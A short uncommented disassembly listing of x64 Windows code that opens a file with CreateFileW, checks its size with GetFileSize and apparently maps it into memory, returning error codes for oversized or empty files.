mov rdx, rax
call fcn.14000d450
jmp 0x14000d95e
mov qword [rsp + 0x30], rdx
xor r9d, r9d
mov rcx, rax
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x14000d97d
call fcn.14000a910
test eax, eax
jns 0x14000d980
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rbx], rax
mov rcx, qword [rbx]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [rsp + 0x58], eax
cmp eax, 0xffffffff
jne 0x14000d9a0
call fcn.14000a910
test eax, eax
js 0x14000d9f2
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x14000d9e0
cmp rax, rdi
ja 0x14000d9e0
mov rdx, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
call fcn.14000d600
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
test rax, rax
mov ecx, 0x800700df
mov edx, 0x800703ee
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret